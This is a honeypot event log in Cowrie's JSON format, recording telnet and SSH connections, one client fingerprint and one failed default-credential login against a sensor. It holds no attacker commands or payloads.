{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:04.979473Z","src_ip":"176.65.139.103","session":"1cd9fee87437","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.931396484375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:05.027928Z","src_ip":"117.120.7.112","session":"9308496fbf06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.585227489471436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:05.149906Z","src_ip":"108.61.242.114","session":"c0b6d492c55e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19466257095337,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:05.221362Z","src_ip":"185.111.235.80","session":"2776a53ff785","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.30017900466919,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:05.339177Z","src_ip":"185.111.235.80","session":"2135bcbb63df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":49323,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f75b7311f7f","protocol":"telnet","message":"New connection: 185.111.235.80:49323 (10.17.0.5:23) [session: 7f75b7311f7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:05.346417Z"}
{"eventid":"cowrie.session.closed","duration":31.48050093650818,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:05.691818Z","src_ip":"185.111.235.80","session":"ec4f9d8a1038","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":55036,"dst_ip":"159.203.135.109","dst_port":23,"session":"825ef3d52f68","protocol":"telnet","message":"New connection: 117.120.7.112:55036 (159.203.135.109:23) [session: 825ef3d52f68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:05.698210Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":51106,"dst_ip":"10.17.0.5","dst_port":23,"session":"59f4d3360ec1","protocol":"telnet","message":"New connection: 185.111.235.80:51106 (10.17.0.5:23) [session: 59f4d3360ec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:05.777714Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":59314,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae370eb84c62","protocol":"telnet","message":"New connection: 108.61.242.114:59314 (10.17.0.5:23) [session: ae370eb84c62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:05.810521Z"}
{"eventid":"cowrie.session.closed","duration":31.569820642471313,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:05.827546Z","src_ip":"185.111.235.80","session":"1375a8342700","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51769757270813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:05.924227Z","src_ip":"185.111.235.80","session":"e737308695ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.451441287994385,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:06.039773Z","src_ip":"185.111.235.80","session":"266e98ca8b9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.503861665725708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:06.059829Z","src_ip":"185.111.235.80","session":"308ffbacdfb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.419267177581787,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:06.301967Z","src_ip":"108.61.242.114","session":"7810a208385c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.050931453704834,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:06.377281Z","src_ip":"185.111.235.80","session":"ec7399b4da26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":56268,"dst_ip":"10.17.0.5","dst_port":23,"session":"05b0ae405b13","protocol":"telnet","message":"New connection: 185.111.235.80:56268 (10.17.0.5:23) [session: 05b0ae405b13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:06.775463Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":59330,"dst_ip":"10.17.0.5","dst_port":23,"session":"8afbaf60b436","protocol":"telnet","message":"New connection: 108.61.242.114:59330 (10.17.0.5:23) [session: 8afbaf60b436]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:06.801078Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":59342,"dst_ip":"10.17.0.5","dst_port":23,"session":"374e6d18d478","protocol":"telnet","message":"New connection: 108.61.242.114:59342 (10.17.0.5:23) [session: 374e6d18d478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:06.920459Z"}
{"eventid":"cowrie.session.closed","duration":30.85458469390869,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:06.970351Z","src_ip":"185.111.235.80","session":"1b301d1ec278","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":57476,"dst_ip":"10.17.0.5","dst_port":23,"session":"633b220c4193","protocol":"telnet","message":"New connection: 185.111.235.80:57476 (10.17.0.5:23) [session: 633b220c4193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:07.043942Z"}
{"eventid":"cowrie.session.closed","duration":31.219202995300293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:07.157964Z","src_ip":"185.111.235.80","session":"ae593f079912","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.037099599838257,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:07.180434Z","src_ip":"185.111.235.80","session":"ddcc3b80baf6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":36166,"dst_ip":"159.203.135.109","dst_port":23,"session":"895de3da9835","protocol":"telnet","message":"New connection: 117.120.7.112:36166 (159.203.135.109:23) [session: 895de3da9835]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:07.732818Z"}
{"eventid":"cowrie.session.closed","duration":30.35028100013733,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:07.921311Z","src_ip":"185.111.235.80","session":"9dc238a59220","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.874892473220825,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:07.932597Z","src_ip":"185.111.235.80","session":"969ad58e3cdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":57638,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1ba2c0a11a8","protocol":"telnet","message":"New connection: 185.111.235.80:57638 (10.17.0.5:23) [session: d1ba2c0a11a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:08.084372Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":59354,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b6c901c6357","protocol":"telnet","message":"New connection: 108.61.242.114:59354 (10.17.0.5:23) [session: 2b6c901c6357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:08.245450Z"}
{"eventid":"cowrie.session.closed","duration":31.369706392288208,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:08.433707Z","src_ip":"185.111.235.80","session":"f7ea23dc9066","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":50780,"dst_ip":"10.17.0.5","dst_port":23,"session":"f21526363369","protocol":"telnet","message":"New connection: 108.61.242.114:50780 (10.17.0.5:23) [session: f21526363369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:09.084033Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":50788,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2cac0e470ea","protocol":"telnet","message":"New connection: 108.61.242.114:50788 (10.17.0.5:23) [session: f2cac0e470ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:09.839517Z"}
{"eventid":"cowrie.session.closed","duration":30.974347352981567,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:09.884238Z","src_ip":"185.111.235.80","session":"44944e50c226","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":38966,"dst_ip":"10.17.0.5","dst_port":23,"session":"863dd764e0bf","protocol":"telnet","message":"New connection: 185.111.235.80:38966 (10.17.0.5:23) [session: 863dd764e0bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:10.063633Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":54678,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a823edec86d","protocol":"ssh","message":"New connection: 176.65.139.103:54678 (10.17.0.5:22) [session: 6a823edec86d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:10.437654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:10.441803Z","src_ip":"176.65.139.103","session":"6a823edec86d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":50790,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e6e013f5ea3","protocol":"telnet","message":"New connection: 108.61.242.114:50790 (10.17.0.5:23) [session: 2e6e013f5ea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:10.472900Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:10.527369Z","src_ip":"176.65.139.103","session":"6a823edec86d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:10.791520Z","src_ip":"176.65.139.103","session":"6a823edec86d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.465432167053223,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:10.895808Z","src_ip":"185.111.235.80","session":"98bc48d8fdd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.940964698791504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:10.901114Z","src_ip":"185.111.235.80","session":"3abf439db2b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.677207469940186,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:10.953780Z","src_ip":"185.111.235.80","session":"b8bde96c7182","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":43646,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ea815ecbbcb","protocol":"telnet","message":"New connection: 185.111.235.80:43646 (10.17.0.5:23) [session: 4ea815ecbbcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:11.048077Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":50748,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd17b8ce6f93","protocol":"telnet","message":"New connection: 185.111.235.80:50748 (10.17.0.5:23) [session: bd17b8ce6f93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:11.522661Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":50800,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b03007e0335","protocol":"telnet","message":"New connection: 108.61.242.114:50800 (10.17.0.5:23) [session: 2b03007e0335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:11.566399Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":52158,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ea3057c88c8","protocol":"telnet","message":"New connection: 185.111.235.80:52158 (10.17.0.5:23) [session: 2ea3057c88c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:11.847345Z"}
{"eventid":"cowrie.session.closed","duration":31.740448236465454,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:11.863504Z","src_ip":"185.111.235.80","session":"9b333bf21f6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6949520111084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:11.888585Z","src_ip":"185.111.235.80","session":"2b2db7a4023a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86412286758423,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:11.898126Z","src_ip":"185.111.235.80","session":"1f440ac1b1ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:11.943544Z","src_ip":"176.65.139.103","session":"6a823edec86d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.712567567825317,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:12.092262Z","src_ip":"185.111.235.80","session":"5b9d3c0adf40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81061291694641,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:12.106901Z","src_ip":"185.111.235.80","session":"89f63d5e78db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":53414,"dst_ip":"10.17.0.5","dst_port":23,"session":"40dec7277537","protocol":"telnet","message":"New connection: 185.111.235.80:53414 (10.17.0.5:23) [session: 40dec7277537]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:12.126240Z"}
{"eventid":"cowrie.session.closed","duration":30.7254855632782,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:12.134998Z","src_ip":"185.111.235.80","session":"f2e8ec9e5127","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1186306476593,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:12.362256Z","src_ip":"185.111.235.80","session":"2842e6f5426a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":55496,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf55d3b4cf13","protocol":"telnet","message":"New connection: 185.111.235.80:55496 (10.17.0.5:23) [session: cf55d3b4cf13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:12.492928Z"}
{"eventid":"cowrie.session.closed","duration":30.691637992858887,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:12.974688Z","src_ip":"185.111.235.80","session":"8770395f9d30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":47578,"dst_ip":"159.203.135.109","dst_port":23,"session":"810f2260561a","protocol":"telnet","message":"New connection: 117.120.7.112:47578 (159.203.135.109:23) [session: 810f2260561a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:13.089182Z"}
{"eventid":"cowrie.session.closed","duration":31.28268837928772,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:13.131700Z","src_ip":"185.111.235.80","session":"86207a703b38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.077909469604492,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:13.212468Z","src_ip":"185.111.235.80","session":"d38506a0f2ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":50816,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef5e623c606c","protocol":"telnet","message":"New connection: 108.61.242.114:50816 (10.17.0.5:23) [session: ef5e623c606c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:13.383686Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":33161,"dst_ip":"10.17.0.5","dst_port":23,"session":"559e08822414","protocol":"telnet","message":"New connection: 185.111.235.80:33161 (10.17.0.5:23) [session: 559e08822414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:13.762236Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":33536,"dst_ip":"10.17.0.5","dst_port":23,"session":"78eff8b4475c","protocol":"telnet","message":"New connection: 185.111.235.80:33536 (10.17.0.5:23) [session: 78eff8b4475c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:13.860533Z"}
{"eventid":"cowrie.session.closed","duration":31.020588636398315,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:13.908501Z","src_ip":"185.111.235.80","session":"9246092d502f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.31023669242859,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:14.044918Z","src_ip":"185.111.235.80","session":"b87650c5772b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.689667224884033,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:14.077291Z","src_ip":"185.111.235.80","session":"b5bf05499e79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":44746,"dst_ip":"10.17.0.5","dst_port":23,"session":"24909deb0bc7","protocol":"telnet","message":"New connection: 185.111.235.80:44746 (10.17.0.5:23) [session: 24909deb0bc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:14.478468Z"}
{"eventid":"cowrie.session.closed","duration":31.237303495407104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:14.617043Z","src_ip":"185.111.235.80","session":"ab031c06ad46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":39592,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee2fdb719074","protocol":"telnet","message":"New connection: 185.111.235.80:39592 (10.17.0.5:23) [session: ee2fdb719074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:15.126897Z"}
{"eventid":"cowrie.session.closed","duration":31.360636711120605,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:15.183175Z","src_ip":"185.111.235.80","session":"9203ab6823e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88817048072815,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:15.498819Z","src_ip":"185.111.235.80","session":"0d4a0a5a1ccd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":42672,"dst_ip":"10.17.0.5","dst_port":23,"session":"47f1a3ac96c4","protocol":"telnet","message":"New connection: 185.111.235.80:42672 (10.17.0.5:23) [session: 47f1a3ac96c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:15.681095Z"}
{"eventid":"cowrie.session.closed","duration":30.904043912887573,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:15.983530Z","src_ip":"185.111.235.80","session":"5bcc32b63f36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.748199462890625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:15.989374Z","src_ip":"185.111.235.80","session":"49f42e3c74a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":44100,"dst_ip":"10.17.0.5","dst_port":23,"session":"a083d1384ca1","protocol":"telnet","message":"New connection: 185.111.235.80:44100 (10.17.0.5:23) [session: a083d1384ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:16.073704Z"}
{"eventid":"cowrie.session.closed","duration":32.11152672767639,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:16.126686Z","src_ip":"185.111.235.80","session":"8db36a57a10a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":44532,"dst_ip":"10.17.0.5","dst_port":23,"session":"58e94d92e252","protocol":"telnet","message":"New connection: 185.111.235.80:44532 (10.17.0.5:23) [session: 58e94d92e252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:16.150164Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":44576,"dst_ip":"10.17.0.5","dst_port":23,"session":"1871c152e4bc","protocol":"telnet","message":"New connection: 185.111.235.80:44576 (10.17.0.5:23) [session: 1871c152e4bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:16.164921Z"}
{"eventid":"cowrie.session.closed","duration":31.21094250679016,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:16.240872Z","src_ip":"117.120.7.112","session":"789c8f2922dc","protocol":"telnet"}
